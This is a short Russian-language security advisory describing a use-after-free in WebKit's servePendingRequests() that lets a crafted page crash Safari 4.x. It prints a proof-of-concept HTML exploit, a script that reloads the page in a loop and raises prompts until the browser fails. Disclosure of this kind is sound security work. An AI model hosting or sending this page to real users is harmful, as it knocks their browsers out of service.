Программа: Apple Safari 4.x

Уязвимость позволяет удаленному злоумышленнику выполнить DoS атаку на целевую
систему. Уязвимость существует из-за ошибки использования памяти после ее
освобождения при вызове функции "servePendingRequests()" в WebKit. Атакующий
может обманным образом заставить пользователя посетить специально составленный
сайт, что приведет к отказу системы в обслуживании.

Эксплоит:

<html>
<body>
<script src="empty.js"></script>
<script>
try { crashSafari(); } catch(e) {
setTimeout("location.reload();",42);
prompt('apple culpa? comment:'); }
</script>
</body>
</html>

Оставить мнение